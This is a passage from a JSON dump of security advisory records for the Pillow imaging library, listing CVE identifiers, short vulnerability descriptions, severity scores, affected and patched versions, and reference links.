roject.org/message/2MMU3WT2X64GS5WHDPKKC2WZA7UIIQ3A","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3DUMIBUYGJRAVJCTFUWBRLVQKOUTVX5P","https://usn.ubuntu.com/4272-1"],"source_kind":"github","identifiers":["GHSA-p49h-hjvm-jg3h","CVE-2020-5312"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":46.02474094438634,"created_at":"2022-12-21T16:12:43.886Z","updated_at":"2026-12-04T22:17:08.665Z","epss_percentage":0.0369,"epss_percentile":0.90001,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNDloLWhqdm0tamczaM0W2w","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wNDloLWhqdm0tamczaM0W2w","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"6.2.2","vulnerable_version_range":"\u003c 6.2.2"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNDloLWhqdm0tamczaM0W2w/related_packages","related_advisories":[{"uuid":"ALPINE-CVE-2020-5312","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2020-5312"},{"uuid":"DEBIAN-CVE-2020-5312","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2020-5312"},{"uuid":"PYSEC-2020-83","source_kind":"osv","url":"https://access.redhat.com/errata/RHSA-2020:0566"},{"uuid":"CVE-2020-5312","source_kind":"osv","url":"https://access.redhat.com/errata/RHSA-2020:0566"}]},{"uuid":"GSA_kwCzR0hTQS0zeHY4LTNqNTQtaGdycM0W2g","url":"https://github.com/advisories/GHSA-3xv8-3j54-hgrp","title":"Out-of-bounds read in Pillow","description":"In `libImaging/PcxDecode.c` in Pillow before 7.1.0, an out-of-bounds read can occur when reading PCX files where `state-\u003eshuffle` is instructed to read beyond `state-\u003ebuffer`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-11-03T18:04:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-10378","https://github.com/python-pillow/Pillow/pull/4538","https://github.com/python-pillow/Pillow/commit/6a83e4324738bb0452fbe8074a995b1c73f08de7#diff-9478f2787e3ae9668a15123b165c23ac","https://github.com/pypa/advisory-db/blob/7872b0a91b4d980f749e6d75a81f8cc1af32829f/vulns/pillow/PYSEC-2020-77.yaml","https://github.com/python-pillow/Pillow/commits/master/src/libImaging","https://pillow.readthedocs.io/en/stable/releasenotes/6.2.3.html","https://pillow.readthedocs.io/en/stable/releasenotes/7.1.0.html","https://github.com/python-pillow/Pillow/issues/4750","https://github.com/python-pillow/Pillow/commit/124f4bb591e16212605d0e41c413ed53e242cba2","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BEBCPE4F2VHTIT6EZA2YZQZLPVDEBJGD","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HOKHNWV2VS5GESY7IBD237E7C6T3I427","https://usn.ubuntu.com/4430-1","https://usn.ubuntu.com/4430-2","https://github.com/advisories/GHSA-3xv8-3j54-hgrp","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2020-77.yaml"],"source_kind":"github","identifiers":["GHSA-3xv8-3j54-hgrp","CVE-2020-10378"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":40.58095438107182,"created_at":"2022-12-21T16:12:43.894Z","updated_at":"2026-12-04T22:13:41.487Z","epss_percentage":0.01143,"epss_percentile":0.67601,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zeHY4LTNqNTQtaGdycM0W2g","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zeHY4LTNqNTQtaGdycM0W2g","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"7.1.0","vulnerable_version_range":"\u003c 7.1.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zeHY4LTNqNTQtaGdycM0W2g/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2020-10378","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2020-10378"},{"uuid":"PYSEC-2020-77","source_kind":"osv","url":"https://github.com/advisories/GHSA-3xv8-3j54-hgrp"},{"uuid":"CVE-2020-10378","source_kind":"osv","url":"https://usn.ubuntu.com/4430-1/"}]},{"uuid":"GSA_kwCzR0hTQS12Y3FnLTNwMjkteHc3M80W2Q","url":"https://github.com/advisories/GHSA-vcqg-3p29-xw73","title":"Integer overflow in Pillow","description":"`libImaging/TiffDecode.c` in Pillow before 6.2.2 has a TIFF decoding integer overflow, related to realloc.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2021-11-03T18:04:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-5310","https://github.com/python-pillow/Pillow/commit/4e2def2539ec13e53a82e06c4b3daf00454100c4","https://github.com/pypa/advisory-db/blob/7872b0a91b4d980f749e6d75a81f8cc1af32829f/vulns/pillow/PYSEC-2020-81.yaml","https://pillow.readthedocs.io/en/stable/releasenotes/6.2.2.html","https://github.com/advisories/GHSA-vcqg-3p29-xw73","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2020-81.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2MMU3WT2X64GS5WHDPKKC2WZA7UIIQ3A","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3DUMIBUYGJRAVJCTFUWBRLVQKOUTVX5P","https://usn.ubuntu.com/4272-1"],"source_kind":"github","identifiers":["GHSA-vcqg-3p29-xw73","CVE-2020-5310"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":46.02474094438634,"created_at":"2022-12-21T16:12:43.902Z","updated_at":"2026-11-05T13:09:26.099Z","epss_percentage":0.01975,"epss_percentile":0.80503,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Y3FnLTNwMjkteHc3M80W2Q","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12Y3FnLTNwMjkteHc3M80W2Q","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"6.2.2","vulnerable_version_range":"\u003e= 0, \u003c 6.2.2"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Y3FnLTNwMjkteHc3M80W2Q/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2020-5310","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2020-5310"},{"uuid":"CVE-2020-5310","source_kind":"osv","url":"https://pillow.readthedocs.io/en/stable/releasenotes/6.2.2.html"},{"uuid":"PYSEC-2020-81","source_kind":"osv","url":"https://github.com/advisories/GHSA-vcqg-3p29-xw73"},{"uuid":"ALPINE-CVE-2020-5310","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2020-5310"}]},{"uuid":"GSA_kwCzR0hTQS03NTM0LW1tNDUtYzc0ds0WKQ","url":"https://github.com/advisories/GHSA-7534-mm45-c74v","title":"Buffer Overflow in Pillow","description":"Pillow through 8.2.0 and PIL (aka Python Imaging Library) through 1.1.7 allow an attacker to pass controlled parameters directly into a convert function to trigger a buffer overflow in Convert.c.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2021-10-05T20:24:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-34552","https://lists.debian.org/debian-lts-announce/2021/07/msg00018.html","https://pillow.readthedocs.io/en/stable/releasenotes/8.3.0.html#buffer-overflow","https://pillow.readthedocs.io/en/stable/releasenotes/index.html","https://github.com/python-pillow/Pillow/pull/5567","https://security.gentoo.org/glsa/202211-10","https://github.com/python-pillow/Pillow/commit/31c473898c29d1b7cb6555ce67d9503a4906b83f","https://github.com/advisories/GHSA-7534-mm45-c74v","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-331.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7V6LCG525ARIX6LX5QRYNAWVDD2MD2SV","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VUGBBT63VL7G4JNOEIPDJIOC34ZFBKNJ"],"source_kind":"github","identifiers":["GHSA-7534-mm45-c74v","CVE-2021-34552"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":46.02474094438634,"created_at":"2022-12-21T16:12:45.541Z","updated_at":"2026-12-04T22:17:12.331Z","epss_percentage":0.02677,"epss_percentile":0.86212,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NTM0LW1tNDUtYzc0ds0WKQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03NTM0LW1tNDUtYzc0ds0WKQ","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"8.3.0","vulnerable_version_range":"\u003c 8.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NTM0LW1tNDUtYzc0ds0WKQ/related_packages","related_advisories":[{"uuid":"ALPINE-CVE-2021-34552","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2021-34552"},{"uuid":"DEBIAN-CVE-2021-34552","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2021-34552"},{"uuid":"CVE-2021-34552","source_kind":"osv","url":"https://lists.debian.org/debian-lts-announce/2021/07/msg00018.html"}]},{"uuid":"GSA_kwCzR0hTQS05OHZ2LXB3NnItcTZxNM0VnA","url":"https://github.com/advisories/GHSA-98vv-pw6r-q6q4","title":"Uncontrolled Resource Consumption in pillow","description":"The package pillow 5.2.0 and before 8.3.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the getrgb function.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-09-07T23:08:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-23437","https://github.com/python-pillow/Pillow/commit/9e08eb8f78fdfd2f476e1b20b7cf38683754866b","https://pillow.readthedocs.io/en/stable/releasenotes/8.3.2.html","https://snyk.io/vuln/SNYK-PYTHON-PILLOW-1319443","https://security.gentoo.org/glsa/202211-10","https://lists.debian.org/debian-lts-announce/2024/03/msg00021.html","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/RNSG6VFXTAROGF7ACYLMAZNQV4EJ6I2C","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VKRCL7KKAKOXCVD7M6WC5OKFGL4L3SJT","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RNSG6VFXTAROGF7ACYLMAZNQV4EJ6I2C","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VKRCL7KKAKOXCVD7M6WC5OKFGL4L3SJT","https://github.com/advisories/GHSA-98vv-pw6r-q6q4","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-317.yaml"],"source_kind":"github","identifiers":["GHSA-98vv-pw6r-q6q4","CVE-2021-23437"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:11:49.161Z","updated_at":"2026-11-17T01:13:43.568Z","epss_percentage":0.0324,"epss_percentile":0.88502,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OHZ2LXB3NnItcTZxNM0VnA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05OHZ2LXB3NnItcTZxNM0VnA","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"8.3.2","vulnerable_version_range":"\u003e= 5.2.0, \u003c 8.3.2"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OHZ2LXB3NnItcTZxNM0VnA/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2021-23437","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2021-23437"},{"uuid":"CVE-2021-23437","source_kind":"osv","url":"https://pillow.readthedocs.io/en/stable/releasenotes/8.3.2.html"},{"uuid":"PYSEC-2021-317","source_kind":"osv","url":"https://snyk.io/vuln/SNYK-PYTHON-PILLOW-1319443"},{"uuid":"ALPINE-CVE-2021-23437","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2021-23437"}]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXE1aHEtZnA3Ni1xbXJj","url":"https://github.com/advisories/GHSA-q5hq-fp76-qmrc","title":"Uncontrolled Resource Consumption in Pillow","description":"An issue was discovered in Pillow before 8.2.0. For EPS data, the readline implementation used in EPSImageFile has to deal with any combination of \\r and \\n as line endings. It used an accidentally quadratic method of accumulating lines while looking for a line ending. A malicious EPS file could use this to perform a DoS of Pillow in the open phase, before an image was accepted for opening.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-06-08T18:49:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-28677","https://github.com/python-pillow/Pillow/pull/5377","https://pillow.readthedocs.io/en/stable/releasenotes/8.2.0.html#cve-2021-28677-fix-eps-dos-on-open","https://security.gentoo.org/glsa/202107-33","https://lists.debian.org/debian-lts-announce/2021/07/msg00018.html","https://github.com/python-pillow/Pillow/commit/5a5e6db0abf4e7a638fb1b3408c4e495a096cb92","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MQHA5HAIBOYI3R6HDWCLAGFTIQP767FL","https://github.com/advisories/GHSA-q5hq-fp76-qmrc","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-93.yaml"],"source_kind":"github","identifiers":["GHSA-q5hq-fp76-qmrc","CVE-2021-28677"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:12:59.962Z","updated_at":"2026-11-05T13:11:23.784Z","epss_percentage":0.02469,"epss_percentile":0.84506,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXE1aHEtZnA3Ni1xbXJj","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXE1aHEtZnA3Ni1xbXJj","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"8.2.0","vulnerable_version_range":"\u003c 8.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXE1aHEtZnA3Ni1xbXJj/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2021-28677","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2021-28677"},{"uuid":"CVE-2021-28677","source_kind":"osv","url":"https://lists.debian.org/debian-lts-announce/2021/07/msg00018.html"},{"uuid":"ALPINE-CVE-2021-28677","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2021-28677"}]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXJ3djctM3Y0NS1oZzI5","url":"https://github.com/advisories/GHSA-rwv7-3v45-hg29","title":"Pillow Out-of-bounds Read vulnerability","description":"An issue was discovered in Pillow before 8.2.0. There is an out-of-bounds read in J2kDecode, in j2ku_gray_i. This dates to Pillow 2.4.0.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-06-08T18:49:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-25288","https://github.com/python-pillow/Pillow/pull/5377#issuecomment-833821470","https://pillow.readthedocs.io/en/stable/releasenotes/8.2.0.html#cve-2021-25287-cve-2021-25288-fix-oob-read-in-jpeg2kdecode","https://security.gentoo.org/glsa/202107-33","https://github.com/python-pillow/Pillow/commit/3bf5eddb89afdf690eceaa52bc4d3546ba9a5f87","https://github.com/advisories/GHSA-rwv7-3v45-hg29","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-138.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MQHA5HAIBOYI3R6HDWCLAGFTIQP767FL"],"source_kind":"github","identifiers":["GHSA-rwv7-3v45-hg29","CVE-2021-25288"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.55029250651611,"created_at":"2022-12-21T16:12:34.300Z","updated_at":"2026-12-02T11:11:49.209Z","epss_percentage":0.02388,"epss_percentile":0.84404,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXJ3djctM3Y0NS1oZzI5","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXJ3djctM3Y0NS1oZzI5","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"8.2.0","vulnerable_version_range":"\u003e= 2.4.0, \u003c 8.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXJ3djctM3Y0NS1oZzI5/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2021-25288","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2021-25288"},{"uuid":"CVE-2021-25288","source_kind":"osv","url":"https://github.com/python-pillow/Pillow/pull/5377#issuecomment-833821470"},{"uuid":"ALPINE-CVE-2021-25288","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2021-25288"}]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhqZngtOHA2Yy1nN2d4","url":"https://github.com/advisories/GHSA-hjfx-8p6c-g7gx","title":"Insufficient Verification of Data Authenticity in Pillow","description":"An issue was discovered in Pillow before 8.2.0. For BLP data, BlpImagePlugin did not properly check that reads (after jumping to file offsets) returned data. This could lead to a DoS where the decoder could be run a large number of times on empty data.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-06-08T18:49:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-28678","https://github.com/python-pillow/Pillow/pull/5377","https://github.com/python-pillow/Pillow/pull/5377/commits/496245aa4365d0827390bd0b6fbd11287453b3a1","https://pillow.readthedocs.io/en/stable/releasenotes/8.2.0.html#cve-2021-28678-fix-blp-dos","https://security.gentoo.org/glsa/202107-33","https://github.com/advisories/GHSA-hjfx-8p6c-g7gx","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-94.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MQHA5HAIBOYI3R6HDWCLAGFTIQP767FL"],"source_kind":"github","identifiers":["GHSA-hjfx-8p6c-g7gx","CVE-2021-28678"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":33.65249875503517,"created_at":"2022-12-21T16:12:59.947Z","updated_at":"2026-12-04T22:13:41.497Z","epss_percentage":0.00732,"epss_percentile":0.55536,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhqZngtOHA2Yy1nN2d4","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhqZngtOHA2Yy1nN2d4","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"8.2.0","vulnerable_version_range":"\u003e= 5.1.0, \u003c 8.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhqZngtOHA2Yy1nN2d4/related_packages","related_advisories":[{"uuid":"ALPINE-CVE-2021-28678","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2021-28678"},{"uuid":"DEBIAN-CVE-2021-28678","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2021-28678"},{"uuid":"CVE-2021-28678","source_kind":"osv","url":"https://pillow.readthedocs.io/en/stable/releasenotes/8.2.0.html#cve-2021-28678-fix-blp-dos"}]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWc2cmotcnY3ai14d3A0","url":"https://github.com/advisories/GHSA-g6rj-rv7j-xwp4","title":"Pillow denial of service","description":"An issue was discovered in Pillow before 8.2.0. `PSDImagePlugin.PsdImageFile` lacked a sanity check on the number of input layers relative to the size of the data block. This could lead to a DoS on `Image.open` prior to `Image.load`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-06-08T18:49:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-28675","https://github.com/python-pillow/Pillow/pull/5377/commits/22e9bee4ef225c0edbb9323f94c26cee0c623497","https://pillow.readthedocs.io/en/stable/releasenotes/8.2.0.html#cve-2021-28675-fix-dos-in-psdimageplugin","https://security.gentoo.org/glsa/202107-33","https://github.com/advisories/GHSA-g6rj-rv7j-xwp4","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-139.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MQHA5HAIBOYI3R6HDWCLAGFTIQP767FL"],"source_kind":"github","identifiers":["GHSA-g6rj-rv7j-xwp4","CVE-2021-28675"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":35.13716781775731,"created_at":"2022-12-21T16:12:59.938Z","updated_at":"2026-12-04T22:13:41.497Z","epss_percentage":0.01186,"epss_percentile":0.68732,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWc2cmotcnY3ai14d3A0","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWc2cmotcnY3ai14d3A0","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"8.2.0","vulnerable_version_range":"\u003c 8.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWc2cmotcnY3ai14d3A0/related_packages","related_advisories":[{"uuid":"ALPINE-CVE-2021-28675","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2021-28675"},{"uuid":"DEBIAN-CVE-2021-28675","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2021-28675"},{"uuid":"CVE-2021-28675","source_kind":"osv","url":"https://pillow.readthedocs.io/en/stable/releasenotes/8.2.0.html#cve-2021-28675-fix-dos-in-psdimageplugin"}]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc3Z2MtdjJ4di1ydnZo","url":"https://github.com/advisories/GHSA-77gc-v2xv-rvvh","title":"Out-of-bounds Read in Pillow","description":"An issue was discovered in Pillow before 8.2.0. There is an out-of-bounds read in J2kDecode, in j2ku_graya_la.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-06-08T18:49:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-25287","https://github.com/python-pillow/Pillow/pull/5377#issuecomment-833821470","https://github.com/python-pillow/Pillow/pull/5377/commits/3bf5eddb89afdf690eceaa52bc4d3546ba9a5f87","https://pillow.readthedocs.io/en/stable/releasenotes/8.2.0.html#cve-2021-25287-cve-2021-25288-fix-oob-read-in-jpeg2kdecode","https://security.gentoo.org/glsa/202107-33","https://github.com/python-pillow/Pillow/commit/3bf5eddb89afdf690eceaa52bc4d3546ba9a5f87","https://github.com/advisories/GHSA-77gc-v2xv-rvvh","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-137.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MQHA5HAIBOYI3R6HDWCLAGFTIQP767FL"],"source_kind":"github","identifiers":["GHSA-77gc-v2xv-rvvh","CVE-2021-25287"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.55029250651611,"created_at":"2022-12-21T16:12:34.285Z","updated_at":"2026-12-02T11:11:49.210Z","epss_percentage":0.02388,"epss_percentile":0.84404,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc3Z2MtdjJ4di1ydnZo","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc3Z2MtdjJ4di1ydnZo","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"8.2.0","vulnerable_version_range":"\u003e= 2.4.0, \u003c 8.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc3Z2MtdjJ4di1ydnZo/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2021-25287","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2021-25287"},{"uuid":"CVE-2021-25287","source_kind":"osv","url":"https://github.com/python-pillow/Pillow/pull/5377#issuecomment-833821470"},{"uuid":"ALPINE-CVE-2021-25287","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2021-25287"}]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdyN20tNWgyNy0yOWhw","url":"https://github.com/advisories/GHSA-7r7m-5h27-29hp","title":"Potential infinite loop in Pillow","description":"An issue was discovered in Pillow before 8.2.0. For FLI data, FliDecode did not properly check that the block advance was non-zero, potentially leading to an infinite loop on load.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-06-08T18:48:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-28676","https://github.com/python-pillow/Pillow/pull/5377","https://pillow.readthedocs.io/en/stable/releasenotes/8.2.0.html#cve-2021-28676-fix-fli-dos","https://security.gentoo.org/glsa/202107-33","https://lists.debian.org/debian-lts-announce/2021/07/msg00018.html","https://github.com/python-pillow/Pillow/commit/bb6c11fb889e6c11b0ee122b828132ee763b5856","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MQHA5HAIBOYI3R6HDWCLAGFTIQP767FL","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MQHA5HAIBOYI3R6HDWCLAGFTIQP767FL","https://github.com/advisories/GHSA-7r7m-5h27-29hp","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-92.yaml"],"source_kind":"github","identifiers":["GHSA-7r7m-5h27-29hp","CVE-2021-28676"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:12:59.929Z","updated_at":"2026-11-05T13:13:32.473Z","epss_percentage":0.02501,"e